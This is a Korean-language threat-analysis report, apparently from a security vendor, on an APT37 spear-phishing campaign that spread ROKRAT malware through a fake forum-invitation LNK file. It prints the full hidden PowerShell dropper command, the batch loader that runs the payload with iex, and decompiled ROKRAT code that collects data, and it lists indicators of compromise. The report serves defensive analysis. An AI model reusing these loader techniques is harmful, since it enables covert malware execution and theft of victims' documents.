● 2024년 1월 10일 예정된 실제 통일전략 분야 현장 및 웨비나 행사로 사칭한 공격
● 행사 안내장으로 위장된 악성 파일은 구글 폼 링크로 조작 후 드롭박스에서 다운로드
● 다운로드된 ZIP 압축 파일 내부에 바로가기(LNK) 유형의 악성 파일이 존재
● 전형적인 APT37 그룹의 스피어 피싱 공격 스타일로 pCloud로 정보 유출 시도
● Genian EDR 서비스를 통해 단말 내 위협 징후 조기 식별 및 선제 대응 가능
○ 지니언스 시큐리티 센터(이하 GSC)는 새해가 얼마 남지 않았던 지난 12월 28일(목) 새로운 사이버 공격 징후를 포착했습니다. 위협 행위자는 지난 2024년 1월 10일 진행된 실제 행사 안내장 문서처럼 속여 해킹 공격을 수행했습니다.
○ 행사의 주제는 '2023년 북한 정세 평가 및 2024년 전망'이며, 북한의 정치·군사·경제· 사회 분야별 평가 및 전망 등이 심도있게 논의될 계획입니다. 이처럼 실제 진행(예정)된 온·오프라인 행사를 사칭해, 수신자로 하여금 신뢰 기반의 접근 전략을 구사했습니다.
○ 본 유형은 전형적인 스피어 피싱 공격 기법이 사용됐습니다. 마침 이번 공격이 연말연시와 맞물려 진행됐지만, 시즌에 특화된 것과는 크게 상관없이 일상적으로 진행된 위협 캠페인 일환으로 보입니다.
○ 공격 흐름에 사용된 시나리오를 좀 더 자세히 살펴보면, 연초에 있는 실제 행사 안내처럼 현혹해 공격을 수행했습니다. 행사는 오프라인 현장 및 온라인 줌(ZOOM) 웨비나 일정으로 알려져 있습니다.
○ 공격자는 행사 계획과 관련된 내용을 사전에 파악 후, 이 내용을 그대로 모방해 실전에 적용했습니다. GSC는 실제 배포된 정상 이메일 내용도 확보해 비교 분석한 결과, 본문 하단에 포함된 사전등록 신청용 구글 설문지 폼(forms.gle) 주소와 비슷하게 조작한 안내장 링크로 위장해 악성 파일 유포를 시도했습니다.
[그림 2] 정상 이메일과 악성 이메일 비교 화면 (일부 모자이크 처리)
○ 정상 이메일에는 PDF 첨부 파일과 행사 안내 이미지 뿐만 아니라, 본문 하단에 사전등록 신청용 URL 주소가 하나만 존재합니다. 반면, 악성 이메일에는 본문 내 이미지 화면이나 첨부파일 없이 안내장 링크로 위장한 URL 주소가 더 추가된 상태입니다.
○ 만약 해당 주소로 접근하면, 드롭박스(DropBox) 콘텐츠를 통해 '제73차 통일전략포럼 안내장.zip' 파일이 다운로드 됩니다.
○ 드롭박스에서 다운로드된 '제73차 통일전략포럼 안내장.zip' 압축 내부에는 '제73차 통일전략포럼 안내장.lnk' 바로가기 유형의 악성 파일이 포함돼 있습니다. 보통 바로가기(LNK) 유형의 파일은 커맨드(cmd.exe) 화면과 같은 별도의 응용 프로그램 조건이 아닌, 일반적인 Windows OS 환경에서 확장자가 바로 보이지 않습니다.
○ 이러한 이유로 바로가기 유형의 공격은 주로 LNK 파일을 압축해 전달하는 수법이 활용되는 편입니다. 따라서, 이메일 첨부 파일 등으로 전달된 압축 파일의 경우 내부에 포함된 파일의 확장자를 주의 깊게 살펴보는 것도 하나의 예방책이 될 수 있습니다. 특히, 'LNK', 'CHM' 등을 포함해 다양한 스크립트('JSE', 'JS', 'WSF' 'HTML' 등) 파일은 각별히 주의해야 합니다.
○ 압축 파일 내부에 포함된 LNK 파일은 단일 확장자라 바로 보이진 않고, 아이콘 좌측 하단에 작은 화살표가 포함된 상태로 PDF 문서(Microsoft Edge PDF Document)처럼 조작돼 있습니다. 이처럼 아이콘에 화살표가 포함된 여부를 통해 바로가기 유형의 파일인 점을 인지할 수 있습니다. 공격자는 의심을 최소화하기 위해 아이콘 리소스를 다양한 형태로 보이도록 변경할 수 있습니다.
[그림 3] 압축 해제 후 보여지는 바로가기 파일 화면
○ LNK 파일은 속성 정보를 통해 대상 명령줄 확인이 가능하지만, 보여지는 필드의 문자 길이 제한은 260자 입니다. 만약 이보다 긴 명령줄 인수가 사용될 경우에는 전체가 보이지 않게 됩니다. 이번 공격 사례의 경우도 명령줄 인수 문자열이 기준치보다 훨씬 더 길어 속성창에서는 확인이 어렵습니다.
○ 공격자는 이러한 특성을 활용해 의도적으로 악성 명령줄을 길게 사용할 수 있고, 공백 문자열 삽입 등을 통해 원하는 명령을 숨기거나 실행할 수 있습니다.
○ 이어지는 다음 문자열은 이번 바로가기 유형 악성 파일내 포함된 명령어로 64비트 Windows 환경에 포함된 PowerShell 명령을 호출하게 됩니다.
/kfor /f "tokens=*" %a in ('dir C:\Windows\SysWow64\WindowsPowerShell\v1.0\*rshell.exe /s /b /od') do call %a "$t1 = 'user32.dll';$t = 'using System; using System.Runtime.InteropServices; public class User32 {[DllImport(' + [System.Text.Encoding]::UTF8.GetString(34) + $t1 + [System.Text.Encoding]::UTF8.GetString(34) + ', SetLastError = true)]public static extern IntPtr FindWindow(string lpClassName, string lpWindowName);[DllImport(' + [System.Text.Encoding]::UTF8.GetString(34) + $t1 + [System.Text.Encoding]::UTF8.GetString(34) + ')] [return: MarshalAs(UnmanagedType.Bool)] public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow); }'; Add-Type -TypeDefinition $t;$proName = 'cmd.exe'; $cmdMainWindowHandle = [User32]::FindWindow([NullString]::Value, $proName);[User32]::ShowWindow($cmdMainWindowHandle, 0);$dirPath = Get-Location; if($dirPath -Match 'System32' -or $dirPath -Match 'Program Files') {$dirPath = '%temp%'}; $lnkPath = Get-ChildItem -Path $dirPath -Recurse *.lnk | where-object {$_.length -eq 0x0336A4E9} | Select-Object -ExpandProperty FullName;$lnkFile=New-Object System.IO.FileStream($lnkPath, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read);$lnkFile.Seek(0x000018E2, [System.IO.SeekOrigin]::Begin);$pdfFile=New-Object byte[] 0x000CEEAC;$lnkFile.Read($pdfFile, 0, 0x000CEEAC);$pdfPath = $lnkPath.replace('.lnk','.pdf');sc $pdfPath $pdfFile -Encoding Byte;& $pdfPath;$lnkFile.Seek(0x000D078E,[System.IO.SeekOrigin]::Begin);$exeFile=New-Object byte[] 0x00000BFB;$lnkFile.Read($exeFile, 0, 0x00000BFB);$exePath=$env:public+'\'+'public.dat';sc $exePath $exeFile -Encoding Byte;$lnkFile.Seek(0x000D1389,[System.IO.SeekOrigin]::Begin);$batFile=New-Object byte[] 0x000000FA;$lnkFile.Read($batFile, 0, 0x000000FA);$batPath=$env:public+'\'+'241223.bat';sc $batPath $batFile -Encoding Byte;& $batPath;$lnkFile.Close();remove-item -path |
[표 1] LNK 내부에 포함된 PowerShell 명령어 화면
○ 명령어는 바로가기 파일의 전체 크기인 '53,912,809 바이트' (0x0336A4E9)를 먼저 확인합니다. 그 다음 오프셋 (0x000018E2) 시작 위치부터 (0x000CEEAC) 크기만큼 읽어들여, 기존 악성 LNK 파일을 PDF 문서로 교체합니다. 이 값이 실제 정상적인 PDF 문서 데이터를 가지고 있으며, 정상 문서 화면을 보여주는 미끼 파일로 사용됩니다.
[그림 4] 악성 LNK 파일에 포함된 정상 PDF 문서 화면 (일부 모자이크 처리)
○ 이어서 오프셋 (0x000D078E) 위치에서 (0x00000BFB) 크기만큼 읽어 공용 폴더(%Public%) 경로에 'public.dat' 파일로 생성합니다. 그리고 오프셋 (0x000D1389) 위치에서 (0x000000FA) 크기만큼 읽어 공용 폴더(%Public%) 경로에 '241223.bat' 파일명으로 생성하고 실행합니다.
○ 'iconlocation' 정보는 64비트 환경의 Edge 경로 아이콘 리소스로 지정해 PDF 문서처럼 보이도록 설정했습니다.
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe |
[그림 5] PDF 아이콘 선택 화면
○ 바로가기 악성 파일이 실행되는 과정 중 공용 폴더(%Public%) 경로에 생성된 'public.dat', '241223.bat' 파일을 확인할 수 있습니다.
[그림 6] 공용 폴더에 생성된 악성 파일 모습
○ 추가 파일 흐름에 따르면, 'public.dat' 파일이 먼저 만들어진 다음, '241223.bat' 파일이 생성되고 실행되는 순서를 거칩니다. 'public.dat' 파일 내부에는 HEX 데이터로 구성된 ScriptBlock 코드가 존재하고 이 값이 ASCII 문자열로 변환되어 사용됩니다.
[그림 7] 'public.dat' 파일내 ScriptBlock 코드 변환 전후 (일부 제거)
○ 'public.dat' 파일은 '241223.bat' 배치 파일에 의해 PowerShell 명령이 호출되고 실행됩니다.
start /min C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden $content = Get-Content -path "c:\Users\Public\public.dat" -Encoding Byte;$exeStr=[System.Text.Encoding]::UTF8.GetString($content);Write-Host $exeStr;iex $exeStr; |
[표 2] 배치 파일에 포함된 명령어 화면
○ 드롭박스(DropBox) 콘텐츠 주소로 연결된 'hybrid.zip' 파일은 마치 압축 파일처럼 보여집니다. 그러나 이 파일은 0x60 키로 암호화(XOR)된 32비트 EXE 파일입니다.
○ 참고로 지난 해 발생했던 유사한 위협 중에는 OneDrive API 서비스와 스테가노그래피 기법이 결합된 형태도 다수 보고된 바 있습니다. 이때 다운로드된 파일로는 'my32.jpg', 'other32.jpg' 등 이미지 파일처럼 위장했지만, 특정 4바이트 키값으로 암호화(XOR)된 유사 패턴을 가지고 있습니다. 이와 관련된 내용은 지니언스 블로그 '북한인권단체를 사칭한 APT37 공격 사례' 위협 분석 보고서에 보다 자세히 기술돼 있습니다.
[그림 8] OneDrive 서비스를 통해 수행된 공격 화면
○ 다음으로 실제 페이로드(Payload) 기능을 가진 암호화된 'hybrid.zip' 파일이 자체 복호화 과정을 통해 코드가 변환됩니다. 이는 파일리스(Fileless) 기반으로 작동하는 ROKRAT(APT37 그룹) 유형의 변종 악성 파일입니다. 이러한 공격은 메모리 상에서 은밀하게 정보탈취 기능이 작동되므로, 단말에 위협요소가 유입된 초기 시점부터 네트워크 이상행위 흐름을 효과적으로 탐지하는 것이 중요합니다.
○ 암호화된 ROKRAT 파일은 보통 메인함수를 통해 데이터 수집 기능이 포함됩니다. 기본적으로 [컴퓨터명]과 [이용자명] 뿐만 아니라 감염 단말의 주요 정보를 수집합니다.
byte_4CFCE8 = 48; byte_4D006A = 48; sub_40BDD3(&unk_4CFCC8, "%d.%d.%d", v40[1]); byte_4D0120 = 48; v10 = sub_40E980(); v11 = byte_4CFCE8; nSize = 64; if ( v10 ) v11 = 49; byte_4CFCE8 = v11; GetComputerNameW(&word_4CFCEA, &nSize); nSize = 64; GetUserNameW(&word_4CFD6A, &nSize); GetModuleFileNameW(0, &Filename, 0xFFu); sub_40EAD6(byte_4CFFEA); // SMBiosData |
[표 3] ROKRAT 악성파일의 정보 수집 코드 화면
○ SMBiosData(System Management BIOS), System Manufacturer 확인을 통해 컴퓨터의 유형 및 시스템 제조업체 모델 등 다양한 항목을 식별하는데 사용됩니다. 이는 초기 공격 단계에서 공격자가 원하는 단말 대상인지 조회하고 그에 따라 추가 명령을 내리는데 활용이 됩니다.
○ 과거 ROKRAT 변종 사례 중에는 위협 분석가들이 사용하는 VMware 가상환경의 데몬 모듈을 확인 후 가상시스템의 MBR 영역을 파괴시켜, 분석을 방해한 케이스도 존재합니다.
[그림 9] 감염된 Windows PC의 정보 수집 화면
○ 감염 단말의 파일 목록을 체크하여, 설치된 프로그램 데이터와 정보 조회 등을 수행합니다.
sub_40BC9C(FileName, L"%s\\*.*", a1); hFindFile = FindFirstFileW(FileName, &FindFileData); if ( hFindFile == (HANDLE)-1 ) return 0; v6 = 0; do { if ( wcslen(FindFileData.cFileName) > 2 || FindFileData.cFileName[0] != 46 ) { if ( (FindFileData.dwFileAttributes & 0x10) != 0 ) { if ( (_BYTE)a3 ) { sub_40BC9C(FileName, L"%s\\%s", v3, FindFileData.cFileName); sub_411739(a3); |
[표 4] 감염 단말의 파일 목록 체크 기능 화면
○ 더불어 감염 단말에 '360Tray.exe' 프로세스가 실행 중인지 확인을 시도하는데, 이는 중국의 '360 Total Security' 제품 모듈로 알려져 있습니다. 한국을 상대로 진행된 악성 코드가 중국 보안 프로세스를 확인한 이유는 아직 명확하지 않습니다. 다만, 위협 배후를 식별하는데 혼선을 야기하거나, 중국 보안 제품의 탐지를 회피하는 용도일 수 있습니다.
sub_40E716((const unsigned __int16 *)v18, (int)v13); while ( Process32NextW(Toolhelp32Snapshot, &pe) ) { _wcsicmp(pe.szExeFile, L"360Tray.exe"); v12[0] = 0; v4 = OpenProcess(0x410u, 0, pe.th32ProcessID); if ( v4 && EnumProcessModules(v4, &v19, 4, v15) ) GetModuleFileNameExW(v4, v19, v12, 512); sub_40BCCA(&v10, v13, L"\r\n"); v5 = wcslen(lpBuffer); v6 = &v10; do v7 = *v6++; while ( v7 != (_WORD)v17 ); if ( (((char *)v6 - (char *)&v11) >> 1) + v5 > 0x10000 ) break; wcscat(lpBuffer, &v10); Toolhelp32Snapshot = v16; } CloseHandle(Toolhelp32Snapshot); v8 = lpBuffer + 1; while ( *lpBuffer++ ) ; return 2 * (lpBuffer - v8); } return result; } |
[표 5] 중국 보안 제품 프로세스 확인 코드
○ 단말에 저장된 특정 확장명의 대상을 수집하는데 [.XLS], [.DOC], [.PPT], [.TXT], [.M4A], [.AMR], [.PDF], [.HWP] 파일들로 주요 문서 유형과 스마트폰 녹음 파일들이 포함돼 있습니다.
[그림 10] 문서 및 녹음 확장자를 수집하는 명령어
○ 공격자는 명령제어(C2) 서버로 'pCloud' 서비스를 이용하며, 단말에 존재하는 주요 정보를 수집해 유출을 시도합니다. 더불어 지정된 명령을 통해 추가 공격이 가능하고, 이를 통해 원격제어와 같은 추가 피해로 이어질 수 있습니다.
[그림 11] 'pCloud' API 서비스로 통신하는 명령어 코드
○ 공격자는 'pCloud' 서버를 가입할 때 구글 지메일(nanhaii815@gmail.com) 계정으로 2023년 6월 15일 등록한 상태이며, 지난 해 다른 위협 사례에서 보고된 바 있습니다.
[그림 12] 'pCloud' 등록자 정보 화면
○ 누구나 가입이 가능한 클라우드 웹 서비스가 위협 인프라로 지속 사용되고 있다는 점에 주목할 필요가 있습니다. 기업 및 기관의 보안 관리자는 이처럼 악용 사례가 확인된 클라우드 서비스의 내부 네트워크 통신 이력을 수시로 조회하고, 보다 능동적으로 위협 헌팅을 통해 조기대응 활용이 가능합니다.
○ 앞서 살펴본 실제 APT 공격 사례는 Fileless 및 암호화 기술 적용, 정상 클라우드 서비스 통신 등과 결합된 전형적인 APT37 그룹의 ROKRAT 공격 체인 기능을 지니고 있습니다. 본 위협 행위자는 공격 사전 준비부터 정찰과 침투에 이르기까지 치밀한 해킹 시나리오를 구성하고 있습니다.
○ 이 그룹은 용이한 단말 침투를 위해 주요 안티 바이러스 제품의 시그니처(패턴) 탐지 테스트와 우회 노력도 아끼지 않습니다. Genian EDR 제품은 엔드포인트에서 수시 발생하는 이벤트 행위 분석과 다양한 진단 기법을 통해 초기 유입 단계부터 본 위협을 조기에 탐지하고 대응할 수 있습니다.
[그림 13] 네트워크 이상행위 통신이 Genian EDR에 탐지된 모습
○ EDR 서버 관리자는 위협 모니터링과 관리를 통해 이상행위를 빠르게 식별하고 분석할 수 있으며, 공격 스토리 라인을 통해 위협 요소와 유입 경로를 추적할 수 있습니다. 바로가기(LNK) 악성 파일이 압축 유틸리티를 통해 해제되는 단계부터 이상 행위로 탐지가 가능하며, 드롭박스(DropBox)와 피클라우드(pCloud) 서버로 네트워크 통신하는 과정도 즉시 탐지하여 대응조치를 취할 수 있습니다.
[그림 14] Genian EDR 솔루션을 통해 압축 해제 단계서 탐지된 모습
○ PowerShell 명령으로 진행된 네트워크 통신 과정을 Genian EDR 서비스를 통해 조기에 탐지할 수 있습니다. 이를 통해 보안 담당자는 후속 조치를 수행할 수 있습니다.
[그림 15 ] PowerShell 명령 통해 클라우드 통신 시도 행위 탐지
485AF6EA63BBEC8AE02F8A6184CAE96F
300FB8E4294E902EFE736E42EA262266
2304183C6738E42BA89FC29F881B0684
4825FC554F9565AD356501293363C901